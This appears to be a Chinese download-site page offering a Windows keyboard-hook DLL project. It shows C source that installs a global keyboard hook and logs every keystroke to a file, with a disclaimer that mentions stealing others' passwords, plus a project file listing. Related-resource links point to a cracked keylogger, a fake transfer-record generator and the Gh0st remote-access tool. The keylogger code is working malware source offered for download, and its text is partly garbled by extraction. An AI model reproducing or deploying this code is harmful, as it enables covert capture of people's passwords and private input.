资源简介
一个键盘输入的获取程序,仅供学习交流和参考,若用于不正当的行为,如获取他人的账号密码等,引起的相关责任与本人无关。

代码片段和文件信息
#include “KeyHook.h“
#include
char szTmp[65536] = {0};
BOOL APIENTRY DllMain(HANDLE hModule DWORD ul_reaon_for_call LPVOID lpReserved)
{
g_Inst = (HINSTANCE)hModule;
char path[MAXBYTE] = {0}savePath[MAXBYTE] = {0};
GetCurrentDirectoryA(MAXBYTEpath);
sprintf(savePath“%s\\log.txt“path);
hFile = CreateFile(savePath GENERIC_ALL FILE_SHARE_WRITE NULL CREATE_ALWAYS FILE_ATTRIBUTE_NORMAL NULL);
return TRUE;
}
//钩子函数
LRESULT CALLBACK keyBoardProc(int code WPARAM wParam LPARAM lParam)
{
if (code < 0 )
{
return CallNextHookEx(g_Hook code wParam lParam);
}
if (code == HC_ACTION && lParam > 0)
{
char szBuf[MAXBYTE] = {0};
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBox(NULL“Create Error““Error“MB_OK);
return 0;
}
GetKeyNameText(lParam szBuf MAXBYTE);
strcat(szTmp szBuf);
}
return CallNextHookEx(g_Hook code wParam lParam);
}
//安装钩子
VOID setHookOn()
{
g_Hook = SetWindowsHookEx(WH_KEYBOARD keyBoardProc g_Inst 0);
}
//卸载钩子
VOID setHookOff()
{
DWORD dwNum = 0;
for ( int i = 0; i < strlen(szTmp); ++ i)
{
WriteFile(hFile &szTmp[i] 1 &dwNum NULL);
}
CloseHandle(hFile);
UnhookWindowsHookEx(g_Hook);
}
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2014-11-16 22:02 KeyHookDll\
目录 0 2014-11-16 22:02 KeyHookDll\Debug\
文件 28672 2014-11-16 21:30 KeyHookDll\Debug\KeyHookDll.dll
文件 1924 2014-11-16 21:12 KeyHookDll\Debug\KeyHookDll.lib
文件 155136 2014-11-16 21:48 KeyHookDll\Debug\KeyHookTest.exe
目录 0 2014-11-16 22:02 KeyHookDll\KeyHookDll\
文件 1369 2014-11-16 20:25 KeyHookDll\KeyHookDll.sln
文件 16384 2014-11-16 22:01 KeyHookDll\KeyHookDll.suo
文件 1288 2014-11-16 22:01 KeyHookDll\KeyHookDll\KeyHook.cpp
文件 290 2014-11-16 21:05 KeyHookDll\KeyHookDll\KeyHook.h
文件 4051 2014-11-16 21:54 KeyHookDll\KeyHookDll\KeyHookDll.vcxproj
文件 1065 2014-11-16 20:06 KeyHookDll\KeyHookDll\KeyHookDll.vcxproj.filters
文件 143 2014-11-16 19:52 KeyHookDll\KeyHookDll\KeyHookDll.vcxproj.user
目录 0 2014-11-16 22:02 KeyHookDll\KeyHookTest\
文件 28672 2014-11-16 21:30 KeyHookDll\KeyHookTest\KeyHookDll.dll
文件 1924 2014-11-16 21:12 KeyHookDll\KeyHookTest\KeyHookDll.lib
文件 105784 2014-11-16 21:48 KeyHookDll\KeyHookTest\KeyHookTest.aps
文件 2058 2014-11-16 20:20 KeyHookDll\KeyHookTest\KeyHookTest.cpp
文件 472 2014-11-16 20:20 KeyHookDll\KeyHookTest\KeyHookTest.h
文件 10276 2014-11-16 21:48 KeyHookDll\KeyHookTest\KeyHookTest.rc
文件 5959 2014-11-16 20:32 KeyHookDll\KeyHookTest\KeyHookTest.vcxproj
文件 2016 2014-11-16 20:32 KeyHookDll\KeyHookTest\KeyHookTest.vcxproj.filters
文件 143 2014-11-16 20:20 KeyHookDll\KeyHookTest\KeyHookTest.vcxproj.user
文件 4432 2014-11-16 21:47 KeyHookDll\KeyHookTest\KeyHookTestDlg.cpp
文件 770 2014-11-16 21:44 KeyHookDll\KeyHookTest\KeyHookTestDlg.h
文件 0 2014-11-16 22:00 KeyHookDll\KeyHookTest\log.txt
文件 3089 2014-11-16 20:20 KeyHookDll\KeyHookTest\ReadMe.txt
目录 0 2014-11-16 20:20 KeyHookDll\KeyHookTest\res\
文件 1736 2014-11-16 20:25 KeyHookDll\KeyHookTest\resource.h
文件 67777 2009-08-31 02:31 KeyHookDll\KeyHookTest\res\KeyHookTest.ico
文件 678 2014-11-16 20:20 KeyHookDll\KeyHookTest\res\KeyHookTest.rc2
............此处省略3个文件信息
相关资源
- 键盘记录器7.1 绿色注册版(破解版)
- HOOK 记录和模拟 Keyboard Mouse
- 键盘输入监控
- window ping命令加时间并记录日志
- 服务器及存储设备安装记录检查表
- 中国缘脊叶蝉亚科四新记录种记述
- 伪造专家造假盒子(装B转账记录生成
- 批量插入大量联系人,通话记录和短
- 键盘记录器.rar
- 利用dll的hook悄悄监视某进程键盘输入
- 封装过程中遇到的问题记录
- VC删除IE缓存、COOKIE及记录
- 论文研究 - 2009年萨摩亚地震对陆地,
- GA/T496-2014闯红灯自动记录系统通用技
- 千米定向钻进技术及装备再创井下瓦
- 最简便的流水账记录软件精简版
- 通用QQ聊天记录查看器.rar
- Nginx+keepalived双机热备主从模式高可用
- Redis哨兵模式sentinel学习总结及部署记
- usb插拔记录查看与清除工具
- 仿微信客服聊天界面已实现聊天记录
- cissp学习记录
- 自动导微信交易记录-微信助手
- 自动导微信交易记录
- 横河GP10/20无纸记录仪使用说明书
- bug记录文档模板
- ACS+802.1x+AAA+AD+CA详细记录
- 星际单警执法仪致业高清执法记录仪
- 可记录中文的键盘记录工具
- Gh0St3.75完美稳定版服务端ARP
评论
共有 条评论